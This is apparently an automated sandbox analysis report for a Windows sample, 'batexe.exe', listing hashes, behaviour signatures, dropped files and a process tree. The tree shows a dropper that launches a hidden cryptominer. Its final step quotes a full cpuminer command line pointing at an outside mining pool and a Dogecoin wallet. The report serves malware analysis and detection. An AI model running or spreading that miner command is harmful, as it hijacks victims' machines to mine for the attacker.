Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
296s -
max time network
301s -
platform
windows10-1703_x64 -
resource
win10-20240214-ja -
resource tags
arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows -
submitted
18/02/2024, 14:36
Behavioral task
behavioral1
Sample
batexe.exe
Resource
win10-20240214-ja
Behavioral task
behavioral2
Sample
batexe.exe
Resource
win10v2004-20231215-ja
General
-
Target
batexe.exe
-
Size
9.4MB
-
MD5
cdc9eacffc6d2bf43153815043064427
-
SHA1
d05101f265f6ea87e18793ab0071f5c99edf363f
-
SHA256
73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
-
SHA512
fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
-
SSDEEP
196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv
Malware Config
Signatures
-
Executes dropped EXE 2 IoCs
pid Process 4492 b2e.exe 4800 cpuminer-sse2.exe -
Loads dropped DLL 5 IoCs
pid Process 4800 cpuminer-sse2.exe 4800 cpuminer-sse2.exe 4800 cpuminer-sse2.exe 4800 cpuminer-sse2.exe 4800 cpuminer-sse2.exe -
resource yara_rule behavioral1/memory/1596-5-0x0000000000400000-0x000000000393A000-memory.dmp upx -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 1596 wrote to memory of 4492 1596 batexe.exe 73 PID 1596 wrote to memory of 4492 1596 batexe.exe 73 PID 1596 wrote to memory of 4492 1596 batexe.exe 73 PID 4492 wrote to memory of 4268 4492 b2e.exe 74 PID 4492 wrote to memory of 4268 4492 b2e.exe 74 PID 4492 wrote to memory of 4268 4492 b2e.exe 74 PID 4268 wrote to memory of 4800 4268 cmd.exe 77 PID 4268 wrote to memory of 4800 4268 cmd.exe 77
Processes
-
C:\Users\Admin\AppData\Local\Temp\batexe.exe"C:\Users\Admin\AppData\Local\Temp\batexe.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:1596 -
C:\Users\Admin\AppData\Local\Temp\27C7.tmp\b2e.exe"C:\Users\Admin\AppData\Local\Temp\27C7.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\27C7.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4492 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\2EEB.tmp\batchfile.bat" "3⤵
- Suspicious use of WriteProcessMemory
PID:4268 -
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.execpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 34⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4800
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2.9MB
MD59317cafb85becd9011ca213e7be3a2bc
SHA11c84c389734da0532809700191b96dc61527e382
SHA256644eb7fd5f540a11f942d00b2233e715a40b8548294924fc054db1e08b293090
SHA51265120a9f1410f4b9350788c5898557be3d3b195f03b3425895748764fc052048f38998bb455cef4f25f748c696821a9a4622c8f09f6ae4603dcd6882be451684
-
Filesize
4.1MB
MD531615644f452e96494d7c79c237e2668
SHA1a07f5b1c3621b3ba6bd25bee5a7a80b7336db2d0
SHA2560f2fbc74450d43fd8ef9b25c256a81497a4ed67268dbbc4655469eda73445dc3
SHA5128ba0613bb9c563a7e83b220571da712d290ed6088bb96b7ced84c51fea5f03c6ce68e0e7802a3a4da5cda3047f3a51c18db060a4e64af8b4a3607a308567db54
-
Filesize
136B
MD58ea7ac72a10251ecfb42ef4a88bd330a
SHA1c30f6af73a42c0cc89bd20fe95f9159d6f0756c5
SHA25665e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9
SHA512a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0
-
Filesize
325KB
MD59480baeb189c7baaedb971738bf06b51
SHA1b44ed448e152026ae7a6bc7a32f83d4165db2285
SHA25612d811f05a353116e3f8899759a501f5447a792160879afd53c65304fa84a95c
SHA512bf486f450a961e750285edd7456674181e1a7113b1454f296445f74a164ca25dbf9b5f8191ce9f57ce88f9419ab4df705d07f4f31e099a23df268b464d7faea6
-
Filesize
334KB
MD5c5de434c1086be7e0aed41eb042a9079
SHA1b546fc9d51befbf851299c30ec21584faa76b01c
SHA256a72d6f8b464179e33cfc1e034d1858e233f3dc69592768bfd61b71af97813aa3
SHA5124a4b5acd5327d6fba485f29a894f146d10e16b1586b2513212bb45e898db8c143c6de8ba845cb4ee70a43a9ca5e7e27a4da402efdd4d07c249da591aa15a9e93
-
Filesize
201KB
MD5a381a58fd542464ec5aaaae771e3e376
SHA10b827a9639ca5c4c90652da10bd37f0db37172bf
SHA25612159489ebd30e47af82797c3718d1e4acb1b21b4ad89fbd8d3b1f04843c7504
SHA51270726c3c69eda42dbcb67298739c52ba474fa7d77c6ffb69573622bab7f80f2b983236c275611e03d835560409fe647d100dfa5a268c52309ba0c2272c23aad0
-
Filesize
167KB
MD57701aead253c3cf436bc0f93802cc7d0
SHA1eb39739bb7e88e8f8bbefbae8299d4d7dd76c6fb
SHA25618fa7272876bc7d9ee5857f99fad1b7530ce764e115ac3722ad4d4cf910799e5
SHA512b9dfcf1c4d8af4922d09a2a1a4e8208ee31a82c0d3de4ce2a89a7da688792027d6922388805deeaf7c409d8ac7867f7a59f60d1b4c7aeea76f512c2e00b5398b
-
Filesize
153KB
MD50c75e238ae076f996f0d7c44fb2d70e3
SHA1d717e6cf7b8be52183cb7f6b5443930da557b0a7
SHA25604fdb1d8a44332e9f683f236863d7836fb2d4547cbad78d3781c77d7d709dbea
SHA512cfec00882fffd5a90b7eaec53973c54af8f70c59391b7cf4f5d51d934c469bbc340df31a203c09ed7d2399fcf5a4fe1f231c02f1361a02cea8e5e048e6022df1
-
Filesize
236KB
MD596276d6479d77133f42fdbe419c25f24
SHA124a6cdae197eed8fbf55959fb9125399e084f1e2
SHA256dbc24e816e98a7461665cacf2bf4eb47425e43bfb65704491db221b8dbb39fc9
SHA512874d0121e4d89d8ac823e70b5f69dd78ff7d351cf7c3cf2f4a0c8117d7f55e9beb4838e9dc47d7ba133495cb72ce520f2aac3bdbd0113ec6d880b59d9c8ef659
-
Filesize
137KB
MD5ce47701fe7ecfe1b82caeb3c36bc3d29
SHA1cfddbee9eb2727ab2e153564b711b288b1a14295
SHA2563adce3c7f0b389c32d18191f48d1b81e557ff558edefa42cb5eb9408465a2214
SHA5120d68389903153996c54c807cbecbe84a01d1c97f66eafc67ecf2cb5ef981754a54e86e0365c08057e88f6d7202036ff462f4c5ab23fbdccfdff0a6ea7a2494a3
-
Filesize
128KB
MD52437b0b7704445e4826153cd47ae7da2
SHA1da58ff819438d0d1602ec3da04d651495e0bfa59
SHA256186b2280e7bb0b7a7c91ed2631fee8ae7891fda40df5c15cca8b123a590aafa8
SHA512bffb6ac6404d1488422d6113c0398e04b1452f3df041d0e0c4e1fe45e57efee7d040e1c8da166c73ec743c6c5d1a660fa23b43b765c14a4deaf53f8fd5c19a50
-
Filesize
245KB
MD5e9a5c5cab45f639c1aaf78c713e0f8da
SHA154990f01462c449485bf6100f46f7220c2ac1ae9
SHA256105ae7881b2d63502e194ec68e3c6e2de443c325175f6c37ae0674cf3f44c8c4
SHA5123f3a08093a37f218845b089b1f96be68459a23b485a3a9f1141c20752cb927716aaaa39c7ffe28e2a3a9fc273972299e99e18613a52d6a08565ec810b0e47c8d
-
Filesize
298KB
MD5e56bef975e55a9a7019c660e20705fc4
SHA14f5e8f8a8117c0ee565d15a7a5d7674bf4cef8e9
SHA256a9ebc6540f6e9f67aa532a07f2849a542404153c3d9ace234a1eb85852dee724
SHA51291129655452350937d6cd5a8089d939817c1a507e154f460420afc48b3eed020c495fe51c1feb32f129f96158771ed5173e3931167e1f33a6df920209131d101
-
Filesize
163KB
MD52f7c17de1500f6a59da8b597b08c503e
SHA14486753b2194b25f1a1084e564be8edaf384708a
SHA256aaf33dad9f60fd2de9c6e525a007a410f9195f04b8c7d47197aa70ad5157ce43
SHA5125122ef128daaed26ea418072290fd3b1f629c4ac8ebc88167e201a6d1e1f827c7d0eb81c0e76e97858f41e597bd9298b1a60ebe679d2a9e351e028050320b142